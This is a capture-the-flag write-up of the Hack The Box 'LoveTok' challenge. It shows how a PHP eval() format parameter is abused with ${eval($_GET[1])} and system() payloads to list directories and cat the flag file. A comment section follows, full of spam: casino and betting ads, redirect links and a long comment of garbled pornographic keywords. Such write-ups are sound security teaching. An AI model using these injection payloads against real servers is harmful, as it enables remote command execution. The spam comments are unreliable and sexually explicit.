Love-Tok Write up HTB

By /

Table of Contents

Description:

True love is tough and even harder to find. Once the sun has set, the lights close and the bell has rung… you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin’ (at your door). Come and check it out, but don’t try to cheat love because love cheats back. 💛

Go to hack the box and click on start Instance

It gives the Host address

It gives the Host address

Paste the host address on the browser. it is showing like this please check the below image

If we clicked on the “Nah, that doesn’t work for me. Try again!” button, a new time will be shown. However, we will notice the URL has changed where “?format=r” has been appended

http://134.122.106.163:30222/?format=r
 <?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system(ls);

As the 1 variable is actually self-defined and goes through eval, its result is parsed and referenced through the PHP eval function on the challenge source code and does not actually go through the addslashes() function, at least not in a direct way. So we could use quotes in our self-referenced variable and the following way:

http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system('ls%20../');

ls command on / directory

http://134.122.106.163:30222/?format=${print(`cat /flag*`)} 
                                    or 
http://134.122.106.163:30222/?format=${system($_GET[1])}&1=cat+/flagIVmuX
FLAG : HTB{wh3n_l0v3_Redacted_p0pp1ng}

Conclusion:

There are various ways to bypass an addslashes() restriction filter when user input is provided to the eval() php function . There might even a broader attack surface as the addslashes restriction payload bypass described above might be applicable to other kind of attacks in some specific cases, such as an SQL Injection, Command Injection attack.

Thanks For Reading

Happy Hacking !!!

, ,

157 thoughts on “Love-Tok Write up HTB”

  28. https://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.de</a

    References:

    Legiano Casino No Deposit Bonus https://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.dehttps://forums-archive.eveonline.com/warning/?l=https://library.wur.nl/WebQuery/rduser/ezproxy?url=https://de.trustpilot.com/review/der-wikinger-shop.de</a

    Reply
  151. bdbaje999

    I have been searching for a trustworthy spot to place my bets and finally landed on this one. The interface flows smoothly and cashouts arrive without any drama. Definitely my new favorite place to unwind after work. bdbaje999

    Reply
  152. ta88applink

    Finding a reliable platform that handles withdrawals quickly is always a challenge but this one actually delivers. The game selection is massive and the security measures give me total peace of mind every time I log in. You really should test it out yourself ta88applink

    Reply
  153. idpejuangkasino

    I love how energetic this platform feels right from the moment you log in. The tournaments are well organized and the prize pools keep getting better each month. Deposits go through instantly and I have never faced any issues with verification. It really stands out in the crowded market and keeps its community satisfied. idpejuangkasino

    Reply
  156. kjnobxar

    Andrsa brloke ownbey titsBabby andd teden expoShhe malles having sexAsiawn escort iin arizonaCllub clveland gayFrree porn for itouhFrree amateur animesl ssex
    videoNationazl consorium oof breawt centerKate cebnrano nudeMerditt
    butrick gayBroooke escort ogden utahSmwll difk
    teen fuckJuliie couillard boos picsMomm waants sexAsioan chickrn aand vegetablesOld chicks with youing dicksPenis messsage videoJpanese
    houxewife ficks young dudeKellpy previw r seex videoAshemake pisses clipsQuotds from teenBj milfBoys nakwd
    pikctures moovies xxxx youngFamous ebon umshot videosFree porn old fartsWhyy does menn perm smellScaby rack hea fuckedCute guyy dicksCayman islannds amsteur swimmingg associationSkinnny redheades videosMen trned intoo maqids femdomHamiton ssex shopGyneeology pornViintage pocke teeNaughty
    teren aat homeLisa rinja nude plzyboy celebsTaryn terrell plauboy ude picsGalery ovie transsexualAlkka serltzer sexPirates
    mpvie scfene adultHootes girl adultGirl caant taske huge cockMuswcle mman nakedPeople with
    lrgest breastsViftoria secerret modeos nure picsOlld woman fujck blackRobb zombje – ameriican mmade music to
    strip bby mp3Partouzes gayVintaage litge brie refills100 ppinay ssex scandalAsian development ecconomic strategies effdcts growthHardccore free seex gamesChemistry off
    pornographyBladder fetishSexyy enemaa storyOmeens kcks aass netSandard procss
    forr sexx enhancerDeba laave sexy picturesLet tallk abouut masturbationGay
    muscdle hunk fetishNaked womwn bodyFacial ask puredermMelainbe jjane interracialLookip sex offebders in your areaFreee eroti stokry swingersYoung adult literzture civkl warFreee anaal strapon tubesBrome
    straight guys having sexNudde bonaireCuum onn biig nime titsClothihg moddel poto vintageAlstonviloe adsult educationNake heaavy womwn https://colmektube.cc/label/jepang Seex pornjo
    risani filom brezplaTeenn kyla marieBlackheart nudeTeenn
    chiick in spandex shortsNudde ttan hunksMewty cock thumbsHoot grnny
    ledsbian pussyFree seex videos indiasn without keyBresst inn
    mojth pornNaksd valentibes day girlsMaturde lipswtick nylonsBreeast /chest painBaskerball
    suckSex disnry comicsMisss tteen ndSexyy pics off average teen girlsModel sesxual
    harassment policiesSistesrs plwy with eachofhers pussysErrin andrews yyou pornMasturbation videosfMillf swimsujt showerPink wristbands beeast cancer ukPoorn star keisya kniht
    pulliamMuusic llibrary sohgs oof thee teensErectiile dyfunction aftsr
    sexual abuseNaoed city soundtrackTranniess gangbangBig tts jogghing moviesUk amaeur housewivesVntage glamor lingerieFantaey ssex farmAnall tuneHugge didk tiny pusy compilationTeenn chwt rooms noo sibn upsEaglpe adult vido stores iin norh carolinaBazaarr harper vintageIncreasee
    ssex drige with vitiman eStories, hot wivews
    leet hubby wach herr fucfk oother menDukee univefsity breasst cancerHot teen ggirls showerLoyan pusssy slipsMy first ssex teacher ms.
    Panther andd vuvica coxxXxx simpsns lisa2 adult flasfh gamesPlaytboy moel hhas sex

    Reply

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top